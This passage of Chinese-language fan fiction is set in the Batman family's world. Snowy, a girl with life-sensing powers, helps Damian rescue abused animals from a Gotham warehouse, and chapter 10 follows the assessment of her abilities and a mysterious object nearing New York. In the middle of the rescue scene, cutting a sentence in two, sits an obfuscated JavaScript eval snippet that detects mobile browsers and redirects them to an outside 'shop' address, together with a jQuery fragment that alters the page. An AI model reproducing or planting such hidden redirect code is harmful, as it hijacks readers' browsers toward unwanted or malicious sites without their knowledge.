至于布鲁斯,他依旧沉默寡言,但斯诺伊发现,他停留在这个新“观察点”附近的次数变多了。有时他只是站着,查看她床边仪器上的基础生理数据;有时他会进行一些简单的测试,比如用不同温度的物体靠近她的手背,观察她的反应速度;或者让她辨认屏幕上显示的简单图案和符号,记录她的正确率。 斯诺伊配合这些测试,但保持着自己的节奏。她继续学习语言,词汇量稳步但缓慢地增长。她对屏幕信息的解读能力在提升,开始能看懂一些更复杂的警报组合,比如“挟持人质”、“多车追逐”、“建筑物失火”。她发现,当屏幕上出现特定图标组合(比如紫色标记“J”与红色光点重叠),布鲁斯几乎会立刻行动,优先级最高。 她的身体恢复得很快。充足的食物供应(阿尔弗雷德严格执行了布鲁斯的指令,她的三餐和加餐热量极高,富含蛋白质和复合碳水化合物)缓解了那种深入骨髓的饥饿感,体力明显增强。她开始在自己的“活动时间”(布鲁斯允许的、在指定区域内自由活动的时间)进行更系统的练习。她练习攀爬医疗区附近一组结构复杂的管道支架,练习从不同高度跳下时的落地缓冲,练习快速穿越障碍物的路线选择。这些练习都被监控记录,但没有人阻止,只要她不靠近核心区域。 她再也没有尝试过使用那种“吸引”或“驱散”的能力。一方面,那种消耗让她心有余悸;另一方面,也没有合适的契机。布鲁斯体内的神经毒素在几天内完全代谢干净,没有再出现类似情况。她偶尔还能感觉到那只受伤老鼠微弱的存在,但它似乎找到了某个更隐蔽的角落,不再出现在她的视线里。 生活似乎进入了一种新的、脆弱的平衡。她有了更好的待遇,更明确的“位置”,洞穴居民对她的态度也更加……务实。她提供了一种潜在的有用性,他们提供生存保障和有限度的活动空间。一种基于交换的共存。 但斯诺伊内心深处的不安并未消失。她知道这种平衡是建立在她的“价值”和“可控”之上的。一旦她失去价值,或者表现出不可控的迹象,这种平衡可能瞬间崩塌。她仍然渴望离开,渴望真正的自由,渴望弄明白自己为何在这里。只是现在,她更清楚离开需要准备,需要筹码,需要机会。 机会以一种她未曾预料的方式,悄然露出了缝隙。 那天下午,迪克外出,布鲁斯在蝙蝠洞深处的实验室分析一批新缴获的武器样本。达米安在主控台值守,处理日常情报。阿尔弗雷德去上层处理庄园事务。 洞穴里很安静。斯诺伊完成了今天的简单认知测试(辨认颜色和形状),获得了一块作为“奖励”的巧克力。她坐在床上慢慢吃着,目光习惯性地投向主控台屏幕。 屏幕上,哥谭的地图和平常一样,光点稀疏(白天相对平静)。达米安在处理一些文书工作,偶尔瞥一眼屏幕。 突然,屏幕边缘,靠近哥谭市郊结合部的一片工业废弃区,弹出了一个黄色的警示框。不是红色警报,但达米安立刻坐直了身体,迅速调出那个区域的详细视图。 斯诺伊也注意到了。那个区域她很少看到活动信号。屏幕上显示,那里有几个老旧仓库,监控覆盖不全。黄色警示框里的文字是:“异常热源信号,非典型分布模式。检测到多组低生命体征热源聚集。” 低生命体征?斯诺伊不太明白。是生病的人?还是……动物? 达米安放大了热成像画面。几个仓库的轮廓显现出来,里面确实有一小团一小团的热源,温度比环境稍高,但比正常人类体温低很多,而且分布散乱,大多蜷缩在角落。数量不少,大约有十几个。 “动物收容所?”达米安自语,但立刻否定了,“不对,那片区域没有登记在册的动物收容设施。” 他调取了该区域近期的市政记录和警方报告。没有任何关于大规模动物转移或遗弃的报案。但热源信号是真实的。 他切换了数据层,查看空气成分监测(蝙蝠卫星的遥感数据能提供有限的环境分析)。数据显示,该仓库区域空气中,某些与动物粪便和腐烂食物相关的有机物挥发气体浓度轻微偏高。 很可能是被非法遗弃或用于某种地下交易的动物,猫,狗,或者其他小型哺乳动物。数量不少,而且可能缺乏照料,处于虚弱状态。 达米安的表情没什么变化,但斯诺伊注意到,他的手指在桌面上敲击的节奏加快了。这是他不耐烦或内心有所触动的表现。 他调出通讯界面,似乎想联系动物管制部门或某个合作的动物救援组织,但犹豫了一下。哥谭的市政服务效率低下,尤其是对于这种位于偏僻废弃区、涉及“只是动物”的事件,反应可能极其缓慢,甚至根本不会处理。而那些动物可能已经处于危险之中。 他看了一眼实验室的方向,又看了看时间。布鲁斯正在进行的分析很重要,不能轻易打扰。迪克在外任务,一时回不来。阿尔弗雷德在楼上。 似乎只能暂时记录,稍后处理。 但斯诺伊的心跳加快了。动物。很多动物。可能受伤了,饿了,被困住了。她能“感觉”到吗?她闭上眼睛,尝试像感知老鼠和布鲁斯的寒意那样,去感知那个遥远的方向。 太远了。她只能感觉到一片模糊的、混乱的、微弱的生命气息,带着不安和痛苦。就像隔着厚厚的墙壁听到底层传来的细微呜咽。 她的呼吸微微急促起来。一种强烈的冲动涌上心头。不是理性思考的结果,而是更原始的本能反应。那些是同类(广义上的),是生命,它们在受苦。而她能感觉到,尽管模糊。 她看向达米安。达米安已经关闭了那个警示窗口,继续处理其他事务,但表情依旧带着一丝不易察觉的烦躁。 斯诺伊从床上滑下来,走到医疗区和主控台之间的区域边缘。这个位置被允许活动。她站在那里,看着达米安。 达米安感觉到了她的视线,抬起头,挑了挑眉。“什么事?” 斯诺伊指了指主控台屏幕,又指了指自己,然后双手比划了一个“很多”的手势,接着做出一个蜷缩起来、瑟瑟发抖的动作,脸上露出难受的表情。 达米安愣住了。他看了看屏幕,又看看斯诺伊。“你……看到刚才那个了?你知道那是什么?” 斯诺伊点头,又指了指自己心脏的位置(她看到迪克做过类似表达感受的动作),然后再次做出那个难受的蜷缩姿势。 她的表达方式笨拙而直接,但意思清晰:她知道那里有很多动物,她能感觉到它们不好过,这让她不舒服。 达米安盯着她看了几秒。他想起了她之前对那只老鼠的反应,想起了她对布鲁斯身上毒素的微妙影响。她对生命迹象,尤其是虚弱或异常的生命迹象,似乎有超乎寻常的感知力。 “那里离这里很远。而且情况不明,可能有危险。”达米安说,语气平淡,像是在陈述事实,也像是在说服自己,“这不是我们的优先任务。” 斯诺伊没有退缩。她往前走了一小步,蓝眼睛直视着达米安,眼神里没有请求,没有讨好,只有一种纯粹的、不容忽视的坚持。她又指了指屏幕,然后指了指上方,做了一个“出去”的手势。接着,她拍了拍自己的胸口,用力点了点头。 她的意思很明确:我想去那里。我能帮忙。 达米安嗤笑一声。“你?帮忙?你知道外面什么样吗?你知道怎么处理那种情况吗?” 斯诺伊沉默。她知道自己的弱小,知道外面的危险。但那种来自远方的、微弱痛苦的呼唤(尽管可能只是她的想象)让她无法置之不理。而且,这或许也是一个机会。一个离开洞穴,哪怕只是暂时的、有目的的外出的机会。 她想了想,转身跑回自己的床边,从收纳盒里拿出一条能量棒,又指了指阿尔弗雷德给她准备的一个小背包(里面放着备用衣物和水壶)。她把能量棒塞进背包,背在身上,然后又走回达米安面前,再次用坚定的目光看着他。 她的姿态仿佛在说:我准备好了,我可以带上补给,我能照顾自己。 达米安的表情变幻不定。理智告诉他,这是个糟糕透顶的主意。让这个来历不明、能力不稳定、几乎没有自保和社交能力的小家伙离开蝙蝠洞,前往一个可能涉及非法活动的废弃区域,简直是疯了。布鲁斯知道了绝对会…… 但是…… 那些动物。十几个,也许更多。被困在废弃仓库,没有食物,没有水,可能还有伤病。如果没人管,它们会死。而哥谭,有谁会管? 他想起自己小时候在刺客联盟,也曾偷偷喂养过一些受伤的小动物,尽管那被认为是一种软弱的象征。他想起蝙蝠牛,想起阿尔弗雷德猫。蝙蝠侠不杀生,这条原则某种程度上也延伸到了其他生命形式上。 而且……这个叫斯诺伊的小怪物,她的能力或许真的能做点什么。至少,她似乎能更精准地定位和感知那些动物的状态。 风险极高。但如果操作得当,快速往返,或许…… 他看了一眼通讯器。布鲁斯那边没有动静。迪克还在任务中。阿尔弗雷德在楼上。 一个大胆的、冲动的念头抓住了他。 “听着,”达米安的声音压低,带着不容置疑的严肃,“我只说一遍。如果你敢乱跑,不服从指令,或者惹出任何麻烦,我会立刻把你打晕带回来,并且保证你再也别想踏出这里一步。明白吗?” 斯诺伊的眼睛亮了一下,她用力点头。 “我们会用最快的速度,走最隐蔽的路线。你全程跟紧我,保持安静,观察我的手势行动。我们的目标是确认动物状况,如果可能,提供最低限度的紧急救助,然后立刻联系可靠的救援组织后续接管。不是战斗,不是探险,是侦查和初步人道主义干预。清楚?” 斯诺伊再次点头,眼神专注,表示她在认真听。 达米安深吸一口气,仿佛在为自己接下来可能面对的后果做心理准备。他快速操作主控台,调出前往那个废弃工业区的最佳路线,避开主要监控和巡逻路线,选择了蝙蝠摩托(更灵活隐蔽)。他给自己和斯诺伊准备了两套带有基础防护和伪装功能的连帽外套。 “穿上这个。”他把小号的那件扔给斯诺伊。斯诺伊笨拙但努力地套上,衣服还是有点大,但能穿。 达米安也迅速套上外套,检查了随身装备:非致命性武器,急救包,通讯器,定位器,还有一个小型生命探测仪和动物镇静剂(备用)。 “走。”他简短地说,走向蝙蝠摩托所在的机库区域。 斯诺伊心脏怦怦直跳,紧跟在他身后。这是她第一次正式离开主洞穴区域,走向那些幽深的、通往未知的通道。通道里光线昏暗,空气更加潮湿冰冷,只有他们的脚步声和摩托发动机预热时低沉的轰鸣。 达米安将一个小型头盔递给斯诺伊,示意她戴上。他自己也戴好头盔,跨上摩托。“上来,抓紧。” 斯诺伊爬上摩托后座,双臂环住达米安的腰,抓得紧紧的。摩托启动,无声地滑入一条向上倾斜的隧道。风声在头盔外呼啸,灯光在隧道墙壁上飞快掠过。斯诺伊感到一阵失重和加速的混合感觉,既陌生又有些刺激。 隧道很长,岔路很多。达米安熟练地操控摩托在黑暗中穿行,速度极快但异常平稳。大约过了十分钟,前方出现了微弱的自然光,出口是一个伪装成山体岩石裂缝的洞口,外面是浓密的灌木丛。 摩托驶出洞口,进入一片荒凉的、长满杂草和废弃物的山坡地。哥谭灰蒙蒙的天空出现在头顶,空气中是工业废气和潮湿土壤的味道。远处,城市的轮廓在阴云下显得沉重而压抑。 斯诺伊第一次以这种视角看到哥谭。不是从屏幕上的光点,而是真实的、带着气味和温度的世界。巨大,杂乱,冷漠。和她记忆中的纽约不同,这里的天色更暗,建筑物的线条也更尖锐。 没有时间感慨。达米安根据导航,驾驶摩托沿着偏僻的小路疾驰,避开主干道和居民区。斯诺伊紧紧抓着他,眼睛却不停地观察着四周飞掠而过的景物:生锈的铁丝网,倾倒的广告牌,积水的坑洼,远处冒着稀薄白烟的工厂烟囱。 大约二十分钟后,他们抵达了目标区域附近。达米安将摩托隐藏在一处坍塌的围墙后面,熄火。 “步行前进。跟紧,别出声。”达米安低声说,率先下车。 斯诺伊也跳下车,脚踩在松软泥泞的地面上。这里果然是一片废弃的工业区,到处都是破损的厂房、堆积的垃圾和恣意生长的野草。空气里弥漫着铁锈、化学制品和腐烂物的混合臭味。 达米安拿出生命探测仪,调整到低生命体征模式,屏幕上显示出几个闪烁的光点,集中在不远处一排破旧的单层仓库方向。他示意斯诺伊跟上。 两人借着残垣断壁的掩护,悄无声息地靠近那排仓库。仓库的窗户大多破碎,门也歪斜着。越靠近,斯诺伊的感觉越清晰。是的,有很多小生命在里面,气息微弱,混乱,带着恐惧和痛苦。她能“听”到(感觉到的“听”)细微的呜咽、抓挠声和虚弱的呼吸。 达米安打了个手势,两人停在一扇半掩的铁皮门前。他侧耳倾听,又用探测仪确认了一下内部情况,然后轻轻推开门。 昏暗的光线从破窗照入,照亮了仓库内部堆积的杂物和厚厚的灰尘。气味更加浓烈:动物的排泄物,腐烂的食物,还有……血的味道。 斯诺伊的瞳孔瞬间收缩。她看到了。 在仓库角落,用破损的木板和铁丝网草草围起来的几个狭小空间里,蜷缩着大约十几只猫和狗。大多数都瘦骨嶙峋,毛发脏污打结,有些身上有明显的伤痕或皮肤病。食盆和水盆是空的,翻倒在一旁。几只看起来稍大一些的狗无力地趴着,眼睛半睁,呼吸微弱。几只小猫挤在一起取暖,发出细微的叫声。 这里根本不是收容所,更像是一个临时囤积、准备转运(可能是去斗狗场、非法实验或皮毛交易)的动物地狱。 达米安的脸色瞬间变得铁青,手按在了武器上,但立刻又松开了。这里现在没有看守,可能刚刚被遗弃,或者看守暂时离开了。 斯诺伊已经顾不上达米安的指令了。她冲了进去,跑到最近的围栏边。一只瘦弱的玳瑁猫抬起头,琥珀色的眼睛里满是惊恐和绝望。斯诺伊伸出手,不是去抓它,而是隔着铁丝网,掌心朝向它,闭上眼睛。 她能清晰地感觉到这只猫的痛苦:饥饿,脱水,后腿有一处化脓的伤口,还有深入骨髓的恐惧。那种感觉比感知老鼠或布鲁斯的寒意要强烈得多,也更……刺痛她的心。 她开始尝试,像上次一样,集中精神,但不是“吸引”什么,而是……试图去“感受”它的痛苦,去“安抚”那种恐惧和紊乱的生命气息。她想象着森林里的宁静,想象着阳光的温暖,想象着自己作为猫时那种放松和安全的感觉,尝试着将这种微弱的意念传递过去。 没有光芒,没有声响。但那只玳瑁猫急促的呼吸似乎稍微平缓了一点点,盯着她的眼神里的惊恐也褪去了一丝,变成了茫然的困惑。 有效!虽然极其微弱! 斯诺伊精神一振,立刻转向下一只动物。这是一条腿上有伤口的混种小狗。她重复刚才的过程,集中,感受,传递安抚的意念。小狗呜咽了一声,舔了舔自己的鼻子,蜷缩的身体似乎放松了一点点。 她马不停蹄,一只接一只,用她刚刚萌芽的、极其粗糙的能力,去接触、感受、安抚这些饱受折磨的小生命。每一次接触都消耗她的精神,她能感觉到自己的能量在缓慢流失,但那些动物们的反应——哪怕只是一点点的平静,一点点的放松——给了她坚持下去的动力。 达米安站在门口警戒,同时用通讯器快速、低声地呼叫支援。他联系了哥谭一个信誉良好、与蝙蝠侠有过合作的私立动物救护组织,提供了坐标和基本情况,要求他们立刻派人前来接管。对方确认会在一小时内赶到。 做完这些,他回过头,看着仓库里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081296|195324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个小小的、忙碌的身影。斯诺伊跪在肮脏的地面上,不顾污秽,全神贯注地面对着那些惊恐虚弱的动物,她的侧脸在昏暗光线下显得异常专注,甚至带着一种近乎圣洁的肃穆。而那些原本躁动不安的动物,在她面前确实显得平静了一些,至少不再那么充满攻击性或绝望。 她真的在做什么。用她那种无法用科学解释的方式。 达米安心中那点因为擅自行动可能带来的恼怒和担忧,不知不觉被一种复杂的情绪取代。这不是软弱。这是一种……他难以定义的力量。 突然,仓库外传来汽车引擎由远及近的声音,还有男人粗鲁的说话声。 “快点!老板说这批货今晚必须运走,免得夜长梦多!” “知道了,催什么催。那些病恹恹的畜生,还能跑了不成?” 达米安眼神一厉,瞬间移动到斯诺伊身边,一把将她拉起来,躲到一堆废弃的木箱后面。“蹲下,别动,别出声。”他低声命令,同时拔出了他的短棍。 斯诺伊屏住呼吸,心脏狂跳。她听到了外面的声音,也感觉到了达米安瞬间绷紧的杀意(虽然并非针对她)。危险来了。 仓库门被哐当一声完全推开,两个穿着脏兮兮工装的男人骂骂咧咧地走了进来。他们手里拿着绳套和笼子。 “咦?这些畜生今天怎么这么安静?”一个男人疑惑道。 “管他呢,赶紧装车!”另一个不耐烦。 他们开始粗暴地抓动物,往笼子里塞。动物们再次惊恐地尖叫挣扎起来。 达米安从木箱后观察着。两个人,有武器(腰间别着棍子和匕首),但训练程度不高。他可以迅速制服。但必须确保不伤害到动物,也要防止他们呼叫同伙或狗急跳墙伤害动物。 他正在计算时机和路线,身边的斯诺伊忽然动了。 她不是冲出去,而是再次闭上眼睛,双手紧紧抓住木箱边缘,指节发白。达米安能感觉到,一股极其微弱、但确实存在的无形波动,以她为中心扩散开去。不是声音,不是光线,而是一种……情绪的涟漪? 目标是那两个男人。 正抓着一条狗往笼子里塞的男人,动作忽然顿了顿,脸上闪过一丝茫然和不适,仿佛突然想起什么不愉快的往事,或者感到一阵莫名的低落和烦躁。另一个男人也皱了皱眉,动作慢了下来,嘴里嘟囔着:“妈的,这地方真晦气。” 他们的攻击性和效率,在无形中被削弱了一丝。 就是现在! 达米安像猎豹一样窜出,短棍精准地击打在第一个男人的手腕上,绳套落地,紧接着一记肘击让他闷哼倒地。第二个男人反应过来,抽出匕首,但达米安的动作更快,侧身避开刺击,短棍敲在他的膝窝,男人痛呼跪地,匕首被踢飞。 整个过程不到五秒。两个男人被制服,捆绑,堵住嘴,丢在角落。 达米安松了口气,看向木箱后的斯诺伊。她脸色有些苍白,扶着箱子喘息,显然刚才的“情绪干扰”消耗不小。 “你……”达米安想说什么,但最终只是点了点头,“干得不错。” 斯诺伊扯了扯嘴角,算是一个回应。她走到那些再次受惊的动物旁边,继续用她微弱的能力安抚它们,同时检查它们的状况。 不久,远处传来了救护车(动物救护组织的车辆)特有的鸣笛声。达米安出去引导,很快,几个穿着制服、带着专业装备的人员进入仓库。他们看到现场情况(被捆的两人,平静许多的动物,还有达米安和斯诺伊)显然有些惊讶,但在达米安出示了某个电子凭证(大概是蝙蝠侠的授权代码)后,他们便不再多问,迅速开始专业而温和的动物转移和初步救治工作。 达米安和斯诺伊退到一边。斯诺伊看着那些动物被小心地放入温暖的运输笼,喂水,检查伤口,她紧绷的神经终于放松下来,随之而来的是巨大的疲惫感。 “我们该走了。”达米安说,“在B发现之前。” 斯诺伊点点头,跟着达米安悄然离开仓库,回到隐藏摩托的地方。 回程的路上,斯诺伊靠在达米安背上,几乎要睡着了。身体很累,但心里有一种奇异的充实感。她做了点什么。不是为了交换食物或安全,而是因为她想这么做,而且她做到了。 摩托驶入蝙蝠洞隧道,熟悉的冰冷空气和机器嗡鸣再次包围了她。 当摩托停在主洞穴时,布鲁斯已经站在那里等着了。他穿着便服,但表情是蝙蝠侠式的冰冷严肃。阿尔弗雷德站在他身后不远处,迪克也刚刚回来,脸上带着询问。 达米安摘下头盔,面对布鲁斯的视线,挺直了背,没有回避。 “解释。”布鲁斯的声音不高,但充满压迫感。 达米安简洁地汇报了事情经过:发现异常热源,判断为被遗弃动物,斯诺伊的感知和请求,快速侦查,遭遇看守,制服,呼叫支援,动物已移交专业组织。 布鲁斯静静地听着,目光在达米安和疲惫的斯诺伊身上移动。他查看了达米安带回来的现场记录(头盔摄像头)和通讯记录。 “未经授权,擅自离开,携带未经评估的异常个体进入不明危险环境。”布鲁斯陈述事实,语气听不出情绪,“你的判断?” 达米安沉默了一下。“情况紧急,机会窗口短。我认为快速干预是必要且风险可控的。她的能力……在安抚动物和轻微干扰对手情绪方面,证实有效。行动结果:十四只动物获救,两名低级别罪犯移交警方(通过匿名渠道),无人员伤亡,无暴露风险。” 布鲁斯看向斯诺伊。“你主动要求去的。为什么?” 斯诺伊抬起头,虽然疲惫,但蓝眼睛清澈。她指了指自己的心口,然后双手比划了一个“很多小生命”的动作,最后将手掌轻轻贴在一起,放在胸前。她的表情很平静,仿佛在说一件理所当然的事情。 因为她感觉到了它们的痛苦,所以她想帮忙。就这么简单。 布鲁斯注视她良久,然后转向达米安:“禁足三天。书面报告,详细分析此次行动的所有决策节点和潜在风险。包括对她的能力在实战环境下的初步观察报告。” “是。”达米安接受处罚,没有争辩。 “至于你,”布鲁斯的目光再次落回斯诺伊身上,“能力使用后的状态?” 斯诺伊指了指装能量棒的收纳盒,又摸了摸自己的肚子。 “能量透支。常规反应。”布鲁斯对阿尔弗雷德说,“确保她充分补充。持续监测。” “明白,老爷。” 布鲁斯最后看了两人一眼,转身走向主控台,开始调取动物救护组织的后续反馈和警方对那两个男人的处理记录。 危机似乎过去了。达米安受到了惩罚,但行动本身被默许了结果。斯诺伊展示了能力的另一种应用,并且是基于“非攻击性”、“救助生命”的动机。 她回到自己的床边,阿尔弗雷德立刻送来了加餐。她狼吞虎咽地吃着,感受着能量一点点回到身体里。 迪克走过来,拍了拍她的头,脸上带着笑意。“做得好,小家伙。不过下次,也许提前打个招呼?”他眨了眨眼。 斯诺伊嘴里塞满食物,只能点点头。 她躺下休息时,目光掠过不远处的达米安。达米安正坐在电脑前,开始写他的报告,但似乎感应到她的目光,也转过头看了她一眼。两人的目光在空中短暂交汇。达米安很快转回头,但斯诺伊似乎看到,他紧抿的嘴角,极轻微地向上弯了一下,几乎看不见。 脆弱的平衡,因为这次意外的、冲动的行动,被打破了,但又似乎以某种方式重新焊接,变得更加……复杂,也更加真实。 她不再仅仅是观察箱里的标本,或者有待评估的资源。她成为了一个可以共同行动的“单位”,哪怕只是临时、有限、且伴随着风险与惩罚。 哥谭的黑暗依旧,蝙蝠洞的监控依旧。但斯诺伊知道,有些东西已经不一样了。她触摸到了自己的力量,用它做了自己想做的事。她也触摸到了与这些“观察者”之间,除了交换与控制之外,另一种可能的连接——基于共同(哪怕是部分)目标的短暂协作。 微光不仅照亮了自己,也在黑暗中,映出了同伴模糊的轮廓。前路依然未知,但至少,她不再是孤独一人行走在冰冷的观察箱里。脆弱的平衡之下,新的可能性正在悄然滋生。 10. 第十章 达米安的禁足三天在安静(对他而言)的文书工作和训练中度过了。那份详细的行动报告最终递交到了布鲁斯手里,其中关于斯诺伊能力的观察部分占据了相当篇幅。布鲁斯将这部分数据与之前急冻人毒素事件的记录进行了交叉分析,建立了一个初步的、高度加密的能力模型档案。 档案的核心结论是:能力表现为对生命能量(或类似概念)的高度敏感与有限度交互。目前观察到两种模式:一,对负面/异常生命状态的感知与微弱“驱散/安抚”(目标:急冻人神经毒素残留/受创动物)。二,对目标情绪的轻微干扰与压制(目标:低警戒度武装人员)。两种模式均伴随施术者自身能量高速消耗,且效果强度、作用范围、可控性均极低,缺乏量化标准。能力触发机制与斯诺伊自身精神状态、意图、及目标状态密切相关,目前无法通过技术手段复现或稳定引导。 风险评估调整为:潜在辅助价值(医疗/情报/非致命控制)中等,但不可预测性与高消耗性导致实战应用风险极高。需进一步观察,严格控制接触环境与目标。 换句话说,斯诺伊被定位为一个不稳定但可能有特殊用途的“工具”,需要持续研究和谨慎使用。这个定位并不令她意外,甚至某种程度上是她刻意维持的结果——展示价值,但不暴露全部;可控,但并非无害。 这次行动带来的最直接变化,是斯诺伊的活动范围被正式扩大了。在完成了新一轮身体检查和认知评估(结果依旧矛盾:基础体能和协调性显著提升,但语言和抽象思维发展缓慢)后,布鲁斯批准她可以在阿尔弗雷德或至少一名家族成员的陪同下,有限度地前往蝙蝠洞的上层区域——也就是韦恩庄园的地下一层,一个被称为“蝙蝠洞附属准备区”的地方。 这里比主洞穴明亮,空气也稍好一些,有更多的存储柜、工作台、简单的休息设施,以及一条通向庄园内部(但门禁森严)的楼梯。对斯诺伊来说,最重要的是,这里有一扇窄长的、装有防弹玻璃的窗户,虽然位置很高,角度也偏,但透过它能瞥见外面的一小片天空,以及庄园后花园的树梢和一小角草坪。 第一次在阿尔弗雷德陪同下来到这里时,斯诺伊在窗户下站了很久,仰着头,看着那块被窗框切割出的、灰蓝色的天空。云层缓慢移动,偶尔有鸟飞过。阳光(如果哥谭有阳光的话)会在地板上投下变化的光斑。她贪婪地呼吸着这里稍显新鲜的空气,即使混杂着尘螨和旧皮革的味道,也比主洞穴纯粹的机械与岩石气息多了一丝“外面”的感觉。 她能听到更清晰的风声,雨点敲打玻璃的声音,甚至隐约能听到远处庄园里传来的、极其模糊的钟鸣或脚步声。这些声音,连同那片有限的天空,成为了她与外部世界最直接的、相对安全的连接点。 她的语言学习开始融入更多与环境相关的内容。迪克教她“天空”、“云”、“树”、“鸟”、“雨”。阿尔弗雷德在准备区的矮柜里放了一些简单的图画书和益智玩具,虽然斯诺伊对抽象图案的兴趣远不如对窗外真实景物的观察,但她还是配合地翻看,记住那些符号对应的发音。 她与达米安之间的关系进入了一种古怪的“休战”状态。达米安不再完全忽视她,但交流依旧简短、实用,多与训练或观察相关。他会指出她攀爬姿势中的力学错误,会告诉她不同天气下哥谭不同区域的风险变化(虽然她不一定全懂),偶尔也会在她对着窗户发呆时,冷冷地丢过来一句“晴天概率百分之三十,两小时后转阴雨”,然后走开。斯诺伊将这视为一种变相的、不带感情的信息提供。 与迪克的互动则轻松许多。迪克似乎很享受“教”她的过程,不仅教语言,还教一些非常基础的城市生存常识,比如如何辨别干净水源(在野外),如何寻找相对安全的临时遮蔽处,如何观察他人的行为判断意图。这些知识对被困在蝙蝠洞和庄园的斯诺伊来说似乎用处不大,但她听得很认真,默默记下。迪克还开始教她一些极其基础的、非攻击性的身体保护动作,比如摔倒时的受身,被抓住时如何挣脱关节锁(针对比她大不了多少的孩子尺寸),如何利用小巧体型在狭小空间移动。这些训练都在严格监督下进行,确保不会让她发展出攻击性。 布鲁斯依旧是那个遥远的、掌控一切的中心。他观察,记录,偶尔提问或测试。斯诺伊能感觉到,他对她的关注点开始从“她是什么”向“她能做什么/不能做什么”以及“如何管理”偏移。这是一种更务实的、也更令人不安的关注。 日子在观察、学习、有限的户外(窗户)时间以及偶尔的能力微调测试中过去。哥谭的夜晚依旧不太平,屏幕上闪烁的光点时密时疏。斯诺伊的“读图”能力越来越熟练,她开始能根据光点移动模式、颜色组合和持续时间,大致推断出事件的类型和严重程度。她知道哪些是普通的抢劫或斗殴,哪些可能涉及超常反派或大规模危机。 她也开始注意到蝙蝠家族行动模式中的一些细微规律。比如,当布鲁斯和迪克同时长时间外出,且达米安留守时通讯频繁,往往意味着事件复杂或涉及多个地点。当阿尔弗雷德提前准备大量医疗物资和特殊装备时,可能预示着一场恶战。当布鲁斯归来后直接进入实验室长时间不露面,通常是受了需要特殊处理的伤,或者获得了需要立刻分析的关键物品或情报。 她像一块海绵,吸收着关于这个巢穴、关于这些守护者、关于这座城市的一切信息。这些信息杂乱无章,不成系统,但一点一点拼凑出她所处的世界更真实的图景。 然而,窗外的天空和屏幕上的光点,终究是隔着一层的体验。那种对于更广阔世界、对于自由行动的渴望,如同地下的暗河,从未停止流淌。动物仓库事件像一颗投入心湖的石子,涟漪扩散,让她更加确信自己不想永远被困于此。但同时,她也更清醒地认识到外部世界的残酷与危险。冲动和本能不足以保障生存,她需要更多的准备,更强的能力,更聪明的策略。 她的能力训练在极其谨慎和私密的情况下进行。她不再尝试影响人类或大型动物(消耗太大,且容易被监测到),而是将目标转向更微小、更不易察觉的生命形式。在准备区角落的一个旧花盆里(可能是阿尔弗雷德曾经尝试种植草药留下的),她发现了几株濒死的、叫不出名字的观叶植物,泥土干裂,叶片枯黄卷曲。 她尝试用那种“感知与安抚”的能力接触它们。过程比面对动物更困难,植物的生命波动更加微弱、缓慢、难以捉摸。她花了很长时间,每天偷偷花几分钟,只是安静地坐在花盆边,将手轻轻放在干裂的土壤上,努力去“感觉”那些植物残存的、几乎熄灭的生命力。 起初毫无进展。但她的耐心超乎寻常。一周后,她似乎能捕捉到一丝极其微弱的、属于根系的、渴望水分的“意念”。她集中精神,想象着水分滋润土壤、流入根须的感觉。没有水出现,但那几株植物枯萎的速度似乎……暂停了?又过了几天,其中一株最小、最蔫的植物,一片卷曲的叶尖似乎微微舒展了一丁点,颜色也从枯黄转向了一点点极淡的绿意。 变化细微到几乎无法用肉眼确认,但斯诺伊感觉到了。她的能力可以对植物产生微弱影响!这让她感到一种奇异的鼓舞。这说明她的能力不仅限于动物和人类,范围可能更广。虽然效果微弱到可以忽略不计,且消耗依然存在(每次尝试后她都会感到轻微的饥饿和疲惫),但这是一个重要的发现,一个关于自身可能性的新拼图。 她小心翼翼地保守着这个秘密,没有让任何人发现花盆的细微变化(阿尔弗雷德偶尔会来清理准备区,但那个角落很不起眼)。这是属于她自己的、小小的实验和进步。 时间来到动物仓库事件两周后的一个深夜。哥谭下着冰冷的细雨。布鲁斯和迪克在外夜巡,达米安在蝙蝠洞上层他自己的房间里(禁足结束后,他恢复了正常轮值)。阿尔弗雷德在主庄园休息。蝙蝠洞里只有斯诺伊和低沉的机器声。 她裹着毯子,坐在准备区窗户下的地板上,看着雨水在玻璃上蜿蜒流淌,模糊了外面本就昏暗的灯光。屏幕上的光点比往常少一些,雨夜似乎让某些犯罪活动也暂时收敛。 就在这时,主控台方向,一个她从未听过的、极其低沉但穿透力极强的警报声响了一下,随即被迅速关闭。声音很短,但斯诺伊捕捉到了。那声音的频率和节奏与平常的红色警报不同,更……凝重。 她立刻警觉起来,轻轻起身,走到通往主洞穴的通道口,侧耳倾听。 主控台前,达米安的身影在那里,他正快速操作着,调出了一幅新的地图界面。不是哥谭市地图,而是一幅范围更广的、似乎是北美东海岸的区域图。地图上,一个醒目的、不断脉冲的深紫色标记,正从大西洋方向,朝着海岸线移动,速度极快。标记旁边标注着缩写:“不明高速飞行物。能量特征:未知。轨迹预测:纽约-哥谭走廊。” 纽约。 斯诺伊的心脏猛地一跳。纽约!她来的地方! 达米安的声音通过通讯频道响起,语气急促:“蝙蝠侠,夜翼,收到请回话。卫星监测到不明高能飞行物,从公海方向接近,速度三马赫,高度两万米,正在下降。能量特征无法匹配已知数据库。轨迹预测显示,其可能途径或目标靠近哥谭。” 短暂的静电干扰声后,布鲁斯的声音传来,背景有风声:“收到。具体坐标?” “北纬40.45,西经73.56,正在向西南偏西移动。预计七分钟后进入纽约领空,十五分钟后可能进入哥谭邻近空域。” “神盾局有什么反应?” “他们的监测系统应该也捕捉到了,但目前没有公开行动或通讯拦截。该物体有轻微隐形特征,民用雷达无法追踪。” “保持监视。夜翼,改变路线,向北部警戒线移动,保持距离观察。” “明白。” 斯诺伊屏住呼吸。不明飞行物。来自海上。途径纽约,可能靠近哥谭。能量特征未知。神盾局(她记得这个词,迪克提过,一个类似蝙蝠侠但范围更大的组织)保持沉默。 这不像普通的犯罪或反派活动。这感觉……更大,更陌生。 